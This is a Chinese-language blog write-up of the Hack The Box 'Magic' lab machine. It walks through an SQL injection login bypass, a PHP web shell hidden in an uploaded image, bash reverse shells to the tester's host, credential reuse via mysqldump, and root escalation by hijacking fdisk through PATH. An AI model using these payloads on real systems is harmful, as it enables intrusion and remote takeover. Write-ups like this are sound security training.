【Hack The Box】linux练习-- Magic

HTB 学习笔记

【Hack The Box】linux练习-- Magic


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月21日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

2/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

页面左下角存在一个登录界面

在这里插入图片描述在这里插入图片描述而在这里我们没有任何的弱口令,所以接下来我开始爆破目录
希望能从之后的目录中得到一些启示

gobuster dir -u http://10.129.17.255/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php

得到结果如下

/images (Status: 301)
/index.php (Status: 200)
/login.php (Status: 200)
/assets (Status: 301)
/upload.php (Status: 302)
/logout.php (Status: 302)
/server-status (Status: 403)

我将对images深入扫描
因为跟图片相关,并且他是403
我想这个目录于我而言是必须的

在目录爆破的同时我尝试对登陆框进行sql注入
首先尝试了账号密码均为admin' or 1=1
依旧说用户名或者密码错误‘
但是当我用户名输入admin,密码输入’时候,没有密码错误提示
说明此处存在sql注入
我将按照
https://book.hacktricks.xyz/pentesting-web/login-bypass/sql-login-bypass
进行尝试
最终,当我的用户是下面这的的时候我成功了
' or 1=1-- -

文件上传

直接上传不行
在这里插入图片描述bp抓包修改也不行
加gig头部也行
双后缀似乎可以
因为它显示了不一样的东西,问我想要在这里做什么
这说明我可能是找到了正确的路?

在这里插入图片描述
不过我刚才抓包发现我上传的文件都被作为请求数据发过去的

所以应该还是不行

我上传了一个图片,发现成功是这样的,左上角会提示,只有也就证明了我上传的后门文件被检验了
而说明我刚才的后门没有上传成功
在这里插入图片描述
至此我开始思考,我该如何应对
首先,常见的三种过滤如下

文件扩展名阻止/允许列表;
文件的mimetype 或 Magic bytes 必须与允许的类型相匹配;
Content-Type图像上的标题必须是图像。

第一种我们可以用双后缀绕过
对于后两种,我们可以用图片注入的方法

图片注入

首先我们要搞一张正常的图片
直接vi打开图片

<?php system($_GET[‘cmd’]); ?>

然后随表找个地方插入一段
改个名
同时我们刚才深层爆破image目录也发现了他下面的uploads文件夹,我们的图片就在这其中应该
尝试访问并传入参数cmd=id
全文搜索一下uid,找到了,说明rce成功
接下来url编码随便一个反弹shell命令即可

在这里插入图片描述在这里插入图片描述应该是被清理掉了

结果404了,我再次尝试一次,这次我会快速操作
需要你自己进行url编码,防止出错

http://10.129.17.255/images/uploads/haha.php.jpeg?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.29/8888%200%3E%261%27

在这里插入图片描述
在/home中我发现了另一个用户theseus
并且我无法看到user.txt
所以我将努力获得theseus的权限
在这里插入图片描述
所以我作为www用户,我将在我的magic建站目录下仔细枚举,正如上面的
我发现了很多php文件,我将cat他们,看看有没有泄漏的信息
在这里插入图片描述他们都是www权限,所以我将暂不考虑他们所带来的命令执行,只希望在它们之中获得凭据
在这里插入图片描述
发现信息

private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';

我将尝试密码复用

在这里插入图片描述
失败,那就只能老老实实去数据库了
我将查看数据库的开放情况
netstat -ntulp

在这里插入图片描述
在这里插入图片描述
他的本地没有mysql的执行文件

于是我输入mysql[tab][tab]

会显示出mysql的所有可用工具

mysql
mysql_config_editor mysqld
mysql_embedded mysqld_multi
mysql_install_db mysqld_safe
mysql_plugin mysqldump
mysql_secure_installation mysqldumpslow
mysql_ssl_rsa_setup mysqlimport
mysql_tzinfo_to_sql mysqloptimize
mysql_upgrade mysqlpump
mysqladmin mysqlrepair
mysqlanalyze mysqlreport
mysqlbinlog mysqlshow
mysqlcheck mysqlslap
我发现了mysqldump

mysqldump的使用
mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic

而后在所有信息中,我们看到了admin
还有一个密码,我将再次尝试密码复用
这一次成功了
在这里插入图片描述
在这里插入图片描述

提权

内核提权

[+] [CVE-2021-3156] sudo Baron Samedit

[+] [CVE-2021-3156] sudo Baron Samedit 2

找到两个,没有高可能,暂时不考虑

信息枚举

在这里插入图片描述正常的开放631没有什么特殊服务
在这里插入图片描述find / -user root -perm -4000 2>/dev/null -ls

发现了user用户可以执行的并且是root权限的二进制文件
在这里插入图片描述
执行看一下
在这里插入图片描述
sysinfo打印出一堆调用
我将用ltrace来看看他具体调用了那些函数

我发现了一个popen打开了fdisk
并且fdisk没有绝对路径,我将挟持fdisk
在这里插入图片描述

环境变量挟持一个

原理就是在当前目录写一个名字相同的二进制文件,但是里面输入的是反弹shell命令,然后将当前目录添加到环境变量,然后在当前目录执行脚本,就会调用你自己写的命令

echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.29/443 0>&1' > fdisk

在这里插入图片描述
而后cjmod +x fdisk
本地开个端口,然后执行一下
检验一下能否正常运行在这里插入图片描述

export PATH=/tmp:$PATH
echo $PATH

确实写进去了
在这里插入图片描述
在这里插入图片描述
ok

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值